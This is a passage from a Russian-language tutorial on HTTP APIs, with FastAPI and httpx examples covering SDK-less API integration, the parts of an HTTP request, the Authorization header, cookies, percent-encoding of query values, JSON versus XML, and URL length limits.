    "X-API-Key": api_key,
}

Basic Authentication #

response = await client.get(
    "/v1/resource",
    auth=("username", "password"),
)

Секретные ключи не следует хранить в исходном коде:

API_KEY = "production-secret"

Обычно их получают из переменных окружения или защищённого хранилища секретов:

import os

api_key = os.environ["EXTERNAL_API_KEY"]

6. Проверять статус ответа #

Получение HTTP-ответа ещё не означает успешное выполнение операции:

response = await client.get("/v1/users/42")

if response.status_code == 200:
    return response.json()

if response.status_code == 404:
    return None

if response.status_code == 401:
    raise ExternalAuthenticationError()

if response.status_code == 429:
    raise ExternalRateLimitError()

if response.status_code >= 500:
    raise ExternalServiceUnavailableError()

Можно использовать raise_for_status(), но часто приложению требуется отдельно преобразовать статусы стороннего API в собственные исключения.

7. Обрабатывать сетевые ошибки #

Нужно различать:

  • API вернул 400, 404 или 500;

  • соединение не установлено;

  • истёк timeout;

  • получен некорректный ответ;

  • ответ не соответствует ожидаемой схеме.

import httpx


class ExternalApiError(Exception):
    pass


async def request_user(
    client: httpx.AsyncClient,
    user_id: int,
) -> dict:
    try:
        response = await client.get(f"/v1/users/{user_id}")
        response.raise_for_status()
        return response.json()

    except httpx.TimeoutException as exc:
        raise ExternalApiError(
            "External API timeout"
        ) from exc

    except httpx.HTTPStatusError as exc:
        raise ExternalApiError(
            f"External API returned "
            f"{exc.response.status_code}"
        ) from exc

    except httpx.RequestError as exc:
        raise ExternalApiError(
            "External API request failed"
        ) from exc

    except ValueError as exc:
        raise ExternalApiError(
            "External API returned invalid JSON"
        ) from exc

HTTPX позволяет задавать отдельные ограничения времени на подключение, чтение, запись и ожидание соединения из пула.

8. Переиспользовать HTTP-клиент #

Плохо создавать новый клиент внутри каждого часто выполняемого вызова:

async def get_user():
    async with httpx.AsyncClient() as client:
        ...

Лучше создать один AsyncClient на время жизни приложения:

from contextlib import asynccontextmanager

import httpx
from fastapi import FastAPI


@asynccontextmanager
async def lifespan(app: FastAPI):
    app.state.external_client = httpx.AsyncClient(
        base_url="https://api.example.com",
        timeout=10.0,
    )

    try:
        yield
    finally:
        await app.state.external_client.aclose()


app = FastAPI(lifespan=lifespan)

Долгоживущий Client или AsyncClient использует пул соединений и может переиспользовать существующие соединения, тогда как отдельные вызовы через верхнеуровневые функции создают новое соединение для каждого запроса.

9. Валидировать ответы #

Без SDK вы сами отвечаете за проверку структуры ответа.

Например, через Pydantic:

from pydantic import BaseModel, ValidationError


class ExternalUser(BaseModel):
    id: int
    username: str
    is_active: bool


async def get_external_user(
    client: httpx.AsyncClient,
    user_id: int,
) -> ExternalUser:
    response = await client.get(f"/v1/users/{user_id}")
    response.raise_for_status()

    try:
        return ExternalUser.model_validate(response.json())
    except ValidationError as exc:
        raise ExternalApiError(
            "Unexpected external API response"
        ) from exc

Это защищает приложение от ситуации, когда внешний сервис изменил тип или название поля.

10. Написать собственную обёртку #

Не следует распределять вызовы HTTPX по всей бизнес-логике:

response = await httpx.get(...)

Лучше создать отдельный клиент:

from typing import Any

import httpx


class ExternalApiClient:
    def __init__(
        self,
        client: httpx.AsyncClient,
        api_key: str,
    ) -> None:
        self._client = client
        self._api_key = api_key

    async def get_user(
        self,
        user_id: int,
    ) -> dict[str, Any]:
        response = await self._client.get(
            f"/v1/users/{user_id}",
            headers={
                "X-API-Key": self._api_key,
            },
        )

        response.raise_for_status()
        return response.json()

    async def create_order(
        self,
        product_id: int,
        quantity: int,
    ) -> dict[str, Any]:
        response = await self._client.post(
            "/v1/orders",
            headers={
                "X-API-Key": self._api_key,
            },
            json={
                "product_id": product_id,
                "quantity": quantity,
            },
        )

        response.raise_for_status()
        return response.json()

Архитектура:

Endpoint FastAPI
Business service
ExternalApiClient
HTTPX
Сторонний API

Так детали URL, заголовков, аутентификации и формата внешнего API остаются внутри адаптера.

11. Сгенерировать неофициальный клиент из OpenAPI #

Если API предоставляет файл:

openapi.json
openapi.yaml
swagger.json

можно автоматически сгенерировать клиент для нужного языка.

OpenAPI-схема описывает пути и операции API и предназначена в том числе для инструментов генерации клиентского кода.

Однако сгенерированный клиент всё равно необходимо проверить:

  • правильно ли описана авторизация;

  • совпадают ли модели с реальными ответами;

  • корректно ли обрабатываются nullable-поля;

  • описаны ли все коды ошибок;

  • соответствует ли схема фактической версии API.

SDK и прямое подключение #

Официальный SDKОбычный HTTP-клиент
Готовые методы и моделиМетоды и модели пишутся самостоятельно
Может обновлять токеныЛогику обновления нужно реализовать
Скрывает детали HTTPПолный контроль над запросами
Зависит от качества SDKЗависит от документации API
Может отставать от APIМожно сразу использовать новый endpoint
Быстрее начать интеграциюПроще контролировать зависимости

Итог #

Подключение без SDK выглядит так:

Документация или OpenAPI
HTTP-клиент
URL + method + headers + params + body
Проверка status code
Валидация ответа
Собственная обёртка ExternalApiClient

Для Python/FastAPI практичный вариант:

httpx.AsyncClient
+ один клиент на приложение
+ timeout
+ обработка ошибок
+ Pydantic-модели
+ отдельный класс интеграции


16. В каких частях HTTP-запроса можно передавать полезные данные в API? #

Основные места передачи данных #

В HTTP-запросе полезные данные для API обычно передают в четырёх местах:

1. Path-параметры
2. Query-параметры
3. Заголовки
4. Тело запроса

Дополнительно данные могут передаваться через cookies, которые на уровне HTTP являются значением заголовка Cookie.

Полный запрос может выглядеть так:

PATCH /users/42?notify=true HTTP/1.1
Host: api.example.com
Authorization: Bearer <access-token>
Content-Type: application/json
X-Request-ID: 8e735c2d

{
  "email": "new@example.com"
}

Здесь:

/users/42              → path
notify=true            → query-параметр
Authorization и другие → headers
JSON                    → body

HTTP-запрос содержит метод и целевой URI, а также может содержать заголовки, тело и, значительно реже, завершающие поля — trailers.

1. Path-параметры #

Path-параметры идентифицируют конкретный ресурс или иерархию ресурсов:

GET /users/42
GET /orders/1001/items/15
DELETE /files/725

В маршруте:

/users/{user_id}

значение 42 является path-параметром:

user_id = 42

Пример FastAPI:

from fastapi import FastAPI

app = FastAPI()


@app.get("/users/{user_id}")
async def get_user(user_id: int):
    return {"user_id": user_id}

Path-параметры обычно используют для обязательного идентификатора ресурса:

GET /users/42

а не для необязательных настроек:

GET /users/42/true/20/desc

2. Query-параметры #

Query-параметры находятся после символа ?:

GET /users?status=active&limit=20&offset=40

Структура:

?status=active&limit=20&offset=40

Они обычно используются для:

  • фильтрации;

  • сортировки;

  • пагинации;

  • поиска;

  • выбора дополнительных полей;

  • необязательных параметров.

Примеры:

GET /products?category=books
GET /products?sort=price&order=asc
GET /users?limit=20&offset=40
GET /articles?search=python

FastAPI:

@app.get("/users")
async def get_users(
    status: str | None = None,
    limit: int = 20,
    offset: int = 0,
):
    return {
        "status": status,
        "limit": limit,
        "offset": offset,
    }

Path и query являются частями целевого URI запроса. RFC 9110 определяет запрос как сочетание метода и request target, который определяет целевой ресурс.

3. Заголовки #

Заголовки передают метаданные и управляющую информацию:

Authorization: Bearer <access-token>
Content-Type: application/json
Accept: application/json
If-None-Match: "user-42-v3"
X-Request-ID: 624f4125

Типичные назначения:

ЗаголовокЧто передаёт
Authorizationданные аутентификации
Content-Typeформат тела запроса
Acceptжелаемый формат ответа
Cookiecookies клиента
If-None-Matchусловие для кэширования
Idempotency-Keyидентификатор операции
User-Agentинформацию о клиенте
Accept-Languageпредпочитаемый язык

Пример:

POST /orders HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
Accept: application/json
Idempotency-Key: order-2026-00015

Заголовки предназначены прежде всего для метаданных, условий обработки, аутентификации и характеристик представления, а не для передачи большой бизнес-структуры. RFC 9110 прямо описывает request headers как средство передачи модификаторов запроса, сведений о клиенте и метаданных представления.

4. Тело запроса #

Body используют для передачи основной структуры данных:

POST /users HTTP/1.1
Content-Type: application/json

{
  "username": "alfob",
  "email": "user@example.com"
}

Тело особенно характерно для:

POST
PUT
PATCH

HTTP допускает содержимое запроса, смысл которого определяется методом.

JSON #

Content-Type: application/json
{
  "product_id": 15,
  "quantity": 2
}

FastAPI:

from pydantic import BaseModel


class OrderCreate(BaseModel):
    product_id: int
    quantity: int


@app.post("/orders")
async def create_order(order: OrderCreate):
    return order

Form URL encoded #

Обычно используется для простых HTML-форм и некоторых OAuth-endpoint:

Content-Type: application/x-www-form-urlencoded

username=alfob&password=secret

Multipart form data #

Применяется для загрузки файлов и смешанных данных:

Content-Type: multipart/form-data; boundary=example

Условно:

file        → document.pdf
description → Annual report
category    → finance

Бинарные данные #

Тело может содержать непосредственно файл:

PUT /files/42
Content-Type: application/pdf

<binary PDF data>

5. Cookies #

Клиент может передавать cookies:

Cookie: session_id=abc123; theme=dark

На уровне HTTP это обычный заголовок:

Cookie

Cookies часто используют для:

  • идентификатора серверной сессии;

  • CSRF-данных;

  • пользовательских настроек;

  • refresh token в защищённой HttpOnly cookie.

FastAPI:

from fastapi import Cookie


@app.get("/profile")
async def profile(
    session_id: str | None = Cookie(default=None),
):
    return {"session_id": session_id}

Для бизнес-параметров вроде product_id или quantity cookies обычно не подходят: их основное назначение — состояние браузерного взаимодействия.

6. HTTP-метод #

Сам метод тоже передаёт важную семантическую информацию:

GET /users/42
DELETE /users/42

Целевой URI один и тот же:

/users/42

Но операция различается:

GET    → получить представление
DELETE → удалить ресурс

Метод не является контейнером произвольных данных, но является обязательной частью смысла запроса. HTTP определяет назначение операции именно через метод, применяемый к целевому ресурсу.

7. Trailer-поля #

HTTP поддерживает trailer-поля, передаваемые после тела сообщения:

Headers
Body
Trailers

Они могут содержать информацию, которую отправитель вычисляет только после передачи содержимого, например итоговую контрольную сумму. На практике в обычных REST API trailers используются редко. RFC 9110 включает trailer fields в возможную структуру HTTP-запроса.

Что не передаётся серверу: URL fragment #

Часть URL после #:

https://example.com/users?page=2#details
                                └─────── fragment

Fragment обычно обрабатывается клиентом и не является частью HTTP request target:

GET /users?page=2 HTTP/1.1

Сервер не получает:

#details

Поэтому fragment нельзя использовать для передачи API-параметров.

Куда какие данные помещать #

ДанныеМесто
ID конкретного ресурсаPath
Фильтрация и пагинацияQuery
Формат, токен, метаданныеHeaders
Создаваемый или изменяемый объектBody
Браузерная сессияCookie
Смысл операцииHTTP-метод

Пример:

PATCH /users/42?send_confirmation=true HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
Accept: application/json

{
  "email": "new@example.com"
}

Разбор:

PATCH                    → частичное изменение
/users/42                → пользователь 42
send_confirmation=true   → дополнительная настройка
Authorization            → аутентификация
Content-Type             → формат тела
JSON body                → новые данные пользователя

Где не следует передавать секреты #

Пароли, access token и API key нежелательно помещать в URL:

GET /login?password=secret
GET /users?access_token=eyJ...

URL может попасть в:

  • историю браузера;

  • журналы сервера и прокси;

  • системы аналитики;

  • мониторинг;

  • сообщения об ошибках;

  • заголовок Referer в некоторых сценариях.

Токены обычно передают в заголовке:

Authorization: Bearer <access-token>

Пароль при входе — в теле защищённого HTTPS-запроса:

POST /auth/login
Content-Type: application/json

{
  "username": "alfob",
  "password": "secret"
}

Итог #

Практически HTTP-запрос к API содержит:

HTTP request
├── method
├── target URI
│   ├── path
│   └── query
├── headers
│   └── cookies
├── body — необязательно
└── trailers — редко

Основное правило:

Path    → какой ресурс
Query   → как выбрать или обработать
Headers → служебные данные и метаданные
Body    → основная передаваемая структура
Method  → какое действие выполнить


17. Что такое и зачем нужен Authorization header в HTTP? #

Что такое Authorization #

Authorization — стандартный HTTP-заголовок запроса, через который клиент передаёт серверу учётные данные для доступа к защищённому ресурсу.

Общий формат:

Authorization: <scheme> <credentials>

Например:

Authorization: Bearer eyJhbGciOiJIUzI1NiIs...

или:

Authorization: Basic dXNlcjpwYXNzd29yZA==

Схема определяет, как сервер должен интерпретировать переданные данные. RFC 9110 определяет Authorization как заголовок, позволяющий клиенту предъявить учётные данные после получения или предполагаемого получения запроса аутентификации от сервера.

Зачем он нужен #

Заголовок позволяет серверу определить:

кто выполняет запрос
или
какими полномочиями обладает клиент

Например:

GET /api/profile HTTP/1.1
Host: example.com
Authorization: Bearer <access-token>

Без заголовка сервер может не знать, от имени какого пользователя выполняется запрос:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer

С действительным токеном сервер может идентифицировать пользователя и проверить его права:

HTTP/1.1 200 OK
Content-Type: application/json

{
  "id": 42,
  "username": "alfob"
}

Как сервер его обрабатывает #

Типичная последовательность:

HTTP-запрос
Извлечение Authorization
Определение схемы
Проверка credentials
Определение пользователя или клиента
Проверка разрешения на операцию
Ответ 2xx, 401 или 403

Для Bearer-токена сервер обычно:

  1. Проверяет наличие заголовка.

  2. Проверяет префикс Bearer.

  3. Извлекает токен.

  4. Проверяет подпись или находит токен в хранилище.

  5. Проверяет срок действия.

  6. Проверяет issuer, audience и scope.

  7. Определяет пользователя.

  8. Проверяет право на конкретную операцию.

Пример условного кода:

authorization = request.headers.get("Authorization")

if authorization is None:
    raise UnauthorizedError()

scheme, token = authorization.split(" ", maxsplit=1)

if scheme.lower() != "bearer":
    raise UnauthorizedError()

payload = validate_access_token(token)
user = get_user(payload["sub"])

Bearer-схема #

В современных API часто используется:

Authorization: Bearer <access-token>

Bearer означает, что клиент предъявляет токен доступа. Любой, кто получил действительный bearer-токен, обычно может использовать его без дополнительного доказательства владения криптографическим ключом. Поэтому bearer-токен необходимо защищать как секрет. RFC 6750 рекомендует передавать OAuth access token именно через заголовок Authorization.

Сам токен может быть:

JWT
opaque token — случайная непрозрачная строка

Следовательно:

Bearer token ≠ обязательно JWT
JWT ≠ обязательно Bearer token

JWT — формат токена, а Bearer — схема его предъявления в HTTP.

Basic-схема #

Пример:

Authorization: Basic dXNlcjpwYXNzd29yZA==

Значение обычно представляет собой:

Base64(username:password)

Base64 не является шифрованием. Поэтому Basic Authentication можно использовать только через HTTPS: иначе логин и пароль могут быть перехвачены.

Сервер декодирует данные:

dXNlcjpwYXNzd29yZA==
user:password

и проверяет их.

Для публичных API обычно предпочтительнее передавать короткоживущий access token, а не логин и пароль при каждом запросе.

401 и 403 #

Эти статусы имеют разный смысл.

401 Unauthorized #

Клиент не предоставил подходящие credentials либо они недействительны:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer

Причины:

  • заголовок отсутствует;

  • токен истёк;

  • подпись токена неверна;

  • токен отозван;

  • схема не поддерживается.

Несмотря на название Unauthorized, статус 401 в HTTP прежде всего означает проблему с аутентификационными данными. Сервер обычно использует WWW-Authenticate, чтобы сообщить поддерживаемую схему.

403 Forbidden #

Credentials действительны, но прав недостаточно:

DELETE /api/users/10
Authorization: Bearer <valid-user-token>
HTTP/1.1 403 Forbidden

То есть:

401 → не удалось подтвердить доступ по credentials
403 → пользователь определён, но операция ему запрещена

Authorization и WWW-Authenticate #

Это разные заголовки:

Authorization   → запрос клиента
WWW-Authenticate → ответ сервера

Пример:

GET /api/profile

Ответ сервера:

HTTP/1.1 401 Unauthorized
WWW-Authenticate: Bearer realm="api"

Повторный запрос клиента:

GET /api/profile
Authorization: Bearer <access-token>

WWW-Authenticate описывает схему, которую сервер ожидает, а Authorization передаёт credentials согласно этой схеме.

Почему токен передают в заголовке, а не в URL #

Правильно:

Authorization: Bearer <token>

Нежелательно:

GET /api/profile?access_token=<token>

URL может оказаться в:

  • истории браузера;

  • логах сервера и reverse proxy;

  • системах аналитики;

  • трассировках;

  • заголовке Referer.

RFC 6750 рекомендует передачу bearer access token через Authorization; другие варианты предусмотрены только для ограниченных случаев.

Требования безопасности #

Authorization должен передаваться через HTTPS:

HTTP + TLS = HTTPS

Также необходимо:

  • не записывать токены и пароли в логи;

  • использовать короткоживущие access-токены;

  • проверять не только структуру токена, но и его подпись и claims;

  • ограничивать права через scope или роли;

  • не передавать access token сторонним доменам;

  • не хранить секреты непосредственно в исходном коде;

  • удалять или маскировать Authorization в логах и мониторинге.

Прокси, передающий запрос дальше, не должен произвольно изменять поле Authorization.

Пример в FastAPI #

from fastapi import Depends, FastAPI, HTTPException, status
from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer

app = FastAPI()

bearer_scheme = HTTPBearer()


@app.get("/profile")
async def get_profile(
    credentials: HTTPAuthorizationCredentials = Depends(bearer_scheme),
):
    if credentials.scheme.lower() != "bearer":
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Unsupported authorization scheme",
            headers={"WWW-Authenticate": "Bearer"},
        )

    token = credentials.credentials

    try:
        payload = validate_access_token(token)
    except InvalidTokenError as exc:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Invalid access token",
            headers={"WWW-Authenticate": "Bearer"},
        ) from exc

    return {
        "user_id": payload["sub"],
    }

Здесь:

credentials.scheme      → Bearer
credentials.credentials → сам access token

Итог #

Authorization
├── находится в HTTP-запросе
├── содержит схему аутентификации
├── содержит credentials
└── позволяет получить доступ к защищённому ресурсу

Типичный вариант для API:

Authorization: Bearer <access-token>

Сам заголовок не предоставляет доступ автоматически. Сервер обязан проверить credentials, определить субъекта и отдельно проверить, разрешено ли ему выполнять запрошенную операцию.


18. Где передаются cookies в HTTP-запросе? #

Cookies передаются в HTTP-запросе в заголовке Cookie:

GET /profile HTTP/1.1
Host: example.com
Cookie: session_id=abc123; theme=dark

Несколько cookies передаются в одном заголовке и разделяются точкой с запятой:

Cookie: name1=value1; name2=value2

Браузер обычно добавляет этот заголовок автоматически для cookies, подходящих по домену, пути, сроку действия, флагам Secure и SameSite.

Сначала сервер устанавливает cookie через заголовок HTTP-ответа Set-Cookie:

HTTP/1.1 200 OK
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Lax

Затем при подходящем следующем запросе браузер возвращает её серверу:

GET /profile HTTP/1.1
Cookie: session_id=abc123

То есть:

Сервер → Set-Cookie в response
Браузер → Cookie в последующих requests

Set-Cookie и Cookie — разные заголовки: первый устанавливает cookie, второй отправляет сохранённые cookies обратно серверу.

В FastAPI #

Получение cookie:

from fastapi import Cookie, FastAPI

app = FastAPI()


@app.get("/profile")
async def get_profile(
    session_id: str | None = Cookie(default=None),
):
    return {"session_id": session_id}

Установка cookie:

from fastapi import Response


@app.post("/login")
async def login(response: Response):
    response.set_cookie(
        key="session_id",
        value="abc123",
        httponly=True,
        secure=True,
        samesite="lax",
    )

    return {"message": "Logged in"}

Главное:

HTTP-запрос: Cookie
HTTP-ответ:  Set-Cookie


19. Как передать символы ? и & в query parameters? #

Используйте percent-encoding #

В query string символы ? и & имеют служебное значение:

?  → начало query string
&  → разделитель query-параметров

Если эти символы являются частью значения параметра, их нужно кодировать:

? → %3F
& → %26

Например, нужно передать значение:

Python?FastAPI&Django

Правильный URL:

GET /search?q=Python%3FFastAPI%26Django

Сервер получит:

q = "Python?FastAPI&Django"

Percent-encoding используется, чтобы отличать символы, являющиеся данными, от символов-разделителей URI.

Полный пример #

Исходные параметры:

query = "price?low&available"
page = 2

Query string:

?query=price%3Flow%26available&page=2

Полный запрос:

GET /products?query=price%3Flow%26available&page=2 HTTP/1.1
Host: example.com

Здесь:

первый ?  → отделяет query string от path
%3F       → символ ? внутри значения
%26       → символ & внутри значения
&         → разделяет параметры query и page

Python #

Не следует вручную заменять символы. Используйте urlencode:

from urllib.parse import urlencode

params = {
    "query": "price?low&available",
    "page": 2,
}

query_string = urlencode(params)

print(query_string)
# query=price%3Flow%26available&page=2

urllib.parse.urlencode() преобразует словарь или последовательность пар в корректную query string.

С HTTPX ещё проще:

import httpx

response = httpx.get(
    "https://api.example.com/products",
    params={
        "query": "price?low&available",
        "page": 2,
    },
)

HTTP-клиент самостоятельно выполнит кодирование значений.

JavaScript #

const params = new URLSearchParams({
    query: "price?low&available",
    page: "2",
});

const url = `/products?${params.toString()}`;

console.log(url);
// /products?query=price%3Flow%26available&page=2

Важное правило #

Кодировать нужно значения отдельных параметров, а не весь готовый URL.

Неправильно:

encodeURIComponent(
  "https://example.com/search?q=test&limit=10"
)

Правильно:

const value = encodeURIComponent("test?one&two");

const url = `/search?q=${value}&limit=10`;

Результат:

/search?q=test%3Fone%26two&limit=10

Итого:

? внутри значения → %3F
& внутри значения → %26
= внутри значения → %3D
% внутри значения → %25


20. Почему в HTTP API данные часто передаются в JSON, а не в XML? #

Почему JSON чаще используют в HTTP API #

JSON стал основным форматом для современных HTTP API не потому, что XML хуже, а потому, что для типичных структурированных данных он обычно проще и удобнее.

Сравним одно и то же представление пользователя.

JSON:

{
  "id": 42,
  "username": "alfob",
  "active": true,
  "roles": ["user", "editor"]
}

XML:

<user>
    <id>42</id>
    <username>alfob</username>
    <active>true</active>
    <roles>
        <role>user</role>
        <role>editor</role>
    </roles>
</user>

1. JSON обычно компактнее #

В XML приходится повторять названия элементов в открывающих и закрывающих тегах:

<username>alfob</username>

В JSON имя поля указывается один раз:

"username": "alfob"

Поэтому при передаче обычных объектов и массивов JSON, как правило, содержит меньше служебной разметки:

JSON:
ключ + значение

XML:
открывающий тег + значение + закрывающий тег

Это уменьшает размер ответа и делает данные проще для чтения. Однако после HTTP-сжатия, например gzip или Brotli, разница может заметно сократиться, поскольку повторяющиеся XML-теги хорошо сжимаются.

2. Модель JSON хорошо соответствует структурам приложения #

JSON напрямую поддерживает небольшой набор типов:

object
array
string
number
boolean
null

Например:

{
  "id": 42,
  "price": 19.95,
  "active": true,
  "tags": ["python", "api"],
  "manager": null
}

Это естественно преобразуется в структуры большинства языков:

JSON object → dict / map / object
JSON array  → list / array
JSON number → int / float

RFC 8259 определяет JSON именно как текстовый формат обмена структурированными данными, состоящий из объектов, массивов и примитивных значений.

XML изначально является языком разметки документов. Его модель включает элементы, атрибуты, текстовые узлы, пространства имён и другие конструкции, которые мощнее, но сложнее для обычного API-обмена.

3. JSON удобен для браузерного JavaScript #

JSON синтаксически близок к объектам и массивам JavaScript:

const user = await response.json();

console.log(user.username);
console.log(user.roles[0]);

После разбора API-ответ сразу превращается в объект:

{
    id: 42,
    username: "alfob"
}

XML обычно требует отдельного DOM-парсинга и обхода элементов:

const document = new DOMParser().parseFromString(
    xmlText,
    "application/xml",
);

const username = document
    .querySelector("username")
    .textContent;

JSON не является буквально JavaScript-кодом, но его формат был специально определён как простой, независимый от языка формат обмена данными.

4. JSON проще читать и создавать #

JSON:

{
  "product_id": 15,
  "quantity": 2
}

XML:

<order>
    <product_id>15</product_id>
    <quantity>2</quantity>
</order>

В JSON меньше синтаксических конструкций:

  • нет закрывающих тегов;

  • нет различия между элементами и атрибутами;

  • обычно не нужны namespaces;

  • проще описывать вложенные списки и объекты.

Это снижает количество решений, которые должны согласовать разработчики клиента и сервера.

Например, в XML одно и то же значение можно представить несколькими способами:

<user id="42" />

или:

<user>
    <id>42</id>
</user>

В JSON обычно используется один очевидный вариант:

{
  "id": 42
}

5. Меньше сложности при парсинге #

Для JSON типичная обработка выглядит так:

data = response.json()

user_id = data["id"]
username = data["username"]

Для XML нужно учитывать:

  • элементы;

  • атрибуты;

  • текстовые узлы;

  • namespaces;

  • XML entities;

  • схему документа;

  • иногда порядок элементов.

Пример XML с namespace:

<user xmlns="https://example.com/users">
    <id>42</id>
</user>

При поиске элемента парсеру уже может потребоваться учитывать URI пространства имён.

Эта сложность оправдана для документных и интеграционных форматов, но часто избыточна для простого REST API.

6. JSON хорошо поддерживается API-инструментами #

Современные API-фреймворки, валидаторы и средства документирования обычно имеют прямую поддержку JSON:

Content-Type: application/json
Accept: application/json

OpenAPI позволяет описывать разные media types, включая JSON и XML, но JSON Schema и JSON-представление являются центральной моделью схем в современных версиях спецификации. OpenAPI также отдельно предусматривает XML-настройки для преобразования схемы в XML-представление, что показывает дополнительную сложность XML-маппинга.

Например, FastAPI автоматически:

from pydantic import BaseModel


class UserCreate(BaseModel):
    username: str
    active: bool

связывает с JSON:

{
  "username": "alfob",
  "active": true
}

Для XML обычно требуется отдельная сериализация и десериализация.

7. JSON проще использовать в REST-подобных CRUD API #

Большинство API передаёт структуры вида:

{
  "id": 42,
  "name": "Product",
  "price": 100,
  "categories": ["books", "education"]
}

То есть:

объект
├── простые поля
├── вложенные объекты
└── массивы

Это почти точно соответствует модели JSON.

XML сильнее ориентирован на документы:

<article>
    <title>REST API</title>
    <paragraph>
        JSON часто используется для передачи
        <strong>структурированных данных</strong>.
    </paragraph>
</article>

Здесь внутри текста присутствует разметка. JSON плохо подходит для такого mixed content, а XML — хорошо.

Где XML лучше JSON #

XML всё ещё оправдан, когда нужны следующие возможности.

Строгие сложные схемы #

XML Schema позволяет подробно описывать:

  • структуру документа;

  • типы;

  • обязательность элементов;

  • порядок элементов;

  • ограничения значений;

  • пространства имён.

JSON также поддерживает JSON Schema, но XML-экосистема исторически сильна в сложных корпоративных контрактах.

Пространства имён #

XML позволяет объединять данные разных стандартов:

<order
    xmlns:payment="https://example.com/payment"
    xmlns:customer="https://example.com/customer"
>
    <payment:status>paid</payment:status>
    <customer:id>42</customer:id>
</order>

Это полезно в больших интеграционных системах.

Документы с разметкой внутри текста #

<paragraph>
    Это <strong>важный</strong> текст.
</paragraph>

XML может естественно смешивать текст и вложенные элементы. JSON для этого потребовал бы отдельной прикладной модели.

SOAP и старые корпоративные системы #

SOAP-сервисы обычно используют XML:

Content-Type: application/soap+xml

В банковских, государственных, телекоммуникационных и корпоративных интеграциях XML часто остаётся частью существующих стандартов и контрактов.

XML-подписи и специализированные стандарты #

Для XML существует большая экосистема:

  • XML Schema;

  • XPath;

  • XSLT;

  • XML Signature;

  • XML Encryption;

  • namespaces.

Когда система уже использует эти технологии, переход на JSON может не дать преимуществ.

Недостатки JSON #

JSON тоже имеет ограничения.

Нет встроенного типа даты #

{
  "created_at": "2026-07-31T07:00:00+04:00"
}

Для JSON это обычная строка. Её смысл определяется контрактом API.

Ограниченная числовая совместимость #

Большие целые числа могут по-разному обрабатываться языками:

{
  "transaction_id": 9007199254740993
}

В JavaScript такое число нельзя точно представить обычным типом Number, поэтому идентификаторы иногда передают строками.

Нет комментариев #

Стандартный JSON не поддерживает комментарии:

{
  // Недопустимо в стандартном JSON
  "id": 42
}

Нет пространств имён и атрибутов #

В JSON все особенности приходится моделировать обычными полями.

JSON не является требованием REST #

REST не требует JSON.

REST API может возвращать:

Content-Type: application/json
Content-Type: application/xml
Content-Type: text/html
Content-Type: text/csv
Content-Type: application/pdf

Формат представления выбирается контрактом API. OpenAPI также допускает описание разных media types для одной операции.

Например:

GET /users/42
Accept: application/json

или:

GET /users/42
Accept: application/xml

Сервер теоретически может предоставить оба представления одного ресурса.

Сравнение #

КритерийJSONXML
Размер без сжатияОбычно меньшеОбычно больше
Простота чтенияВыше для обычных данныхНиже из-за тегов
Объекты и массивыНативная модельТребуется структура элементов
Типы данныхЕсть числа, boolean, nullТекстовые значения требуют интерпретации или схемы
АтрибутыНет отдельной моделиЕсть
Пространства имёнНетЕсть
Mixed contentНеудобенПоддерживается естественно
Браузерный JavaScriptОчень удобноТребуется XML-парсер
Корпоративные стандартыЧасто новееБольшая зрелая экосистема
REST APIСамый распространённый выборПрименяется реже

Итог #

JSON чаще выбирают для HTTP API потому, что он:

компактнее
+ проще синтаксически
+ естественно представляет объекты и массивы
+ удобно преобразуется в структуры языков
+ хорошо поддерживается браузерами и API-фреймворками

XML остаётся предпочтительным, когда нужны:

сложные документные структуры
+ пространства имён
+ mixed content
+ строгая XML-экосистема
+ совместимость с SOAP и корпоративными стандартами

Поэтому корректная формулировка такая: JSON удобнее для большинства современных API с объектными данными, но XML функционально богаче для сложных документов и специализированных интеграций.


21. Как расшифровывается JSON? #

JSON #

JSON расшифровывается как:

JavaScript Object Notation

По-русски:

объектная нотация JavaScript

Это текстовый формат обмена структурированными данными.

Пример:

{
  "id": 42,
  "username": "alfob",
  "active": true
}

Несмотря на название, JSON не привязан только к JavaScript. Его поддерживают Python, Java, Go, C#, PHP и большинство других языков.


22. Какие ограничения есть у строки URL? #

Основные ограничения URL #

URL имеет структуру:

scheme://host:port/path?query#fragment

Например:

https://api.example.com:443/users/42?active=true#details

Ограничения касаются прежде всего длины, допустимых символов, кодирования и назначения отдельных компонентов.

1. Нет единого максимального размера URL #

Стандарт HTTP не устанавливает универсальный жёсткий предел длины URL. RFC 9110 рекомендует клиентам и серверам поддерживать URI длиной как минимум 8000 октетов, но это требование совместимости, а не гарантия, что любой URL такой длины пройдёт через конкретную инфраструктуру.

В HTTP/1.1 URL входит в строку запроса:

GET /products?category=books HTTP/1.1

Она включает:

метод + пробел + request-target + пробел + версия HTTP

Поэтому лимит строки запроса не полностью принадлежит самому URL. При слишком длинном request target сервер должен вернуть:

414 URI Too Long

RFC 9112 рекомендует поддержку строки запроса размером минимум 8000 октетов.

Практические лимиты #

Реальный предел определяется самым строгим компонентом цепочки:

браузер или HTTP-клиент
CDN / WAF
reverse proxy
веб-сервер
приложение

Например:

  • Apache HTTP Server по умолчанию ограничивает request line значением 8190 байт через LimitRequestLine;

  • Nginx по умолчанию использует буфер 8K для одной длинной строки запроса; при превышении возвращает 414.

Поэтому утверждение «максимальная длина URL всегда равна 2048 символам» неверно. Универсального лимита в 2048 символов нет.

Важно: ограничения обычно измеряются в байтах или октетах, а не в количестве видимых символов.

2. Не все символы можно передавать напрямую #

Без дополнительного кодирования безопасно используются так называемые unreserved-символы:

A-Z
a-z
0-9
- . _ ~

Стандарт также определяет зарезервированные символы:

: / ? # [ ] @
! $ & ' ( ) * + , ; =

Они могут выполнять роль разделителей. Когда такой символ должен быть частью значения, а не разделителем, его нужно percent-encode. Примеры:

пробел → %20
?      → %3F
&      → %26
#      → %23
%      → %25

Например, значение:

Python?FastAPI&Django

передаётся так:

/search?q=Python%3FFastAPI%26Django

Percent-encoding представляет один байт тремя символами: % и двумя шестнадцатеричными цифрами. Поэтому после кодирования URL может стать значительно длиннее.

3. Пробелы запрещены в request target #

Такой запрос некорректен:

GET /search?q=python api HTTP/1.1

Пробел разделяет части HTTP request line, поэтому его необходимо закодировать:

GET /search?q=python%20api HTTP/1.1

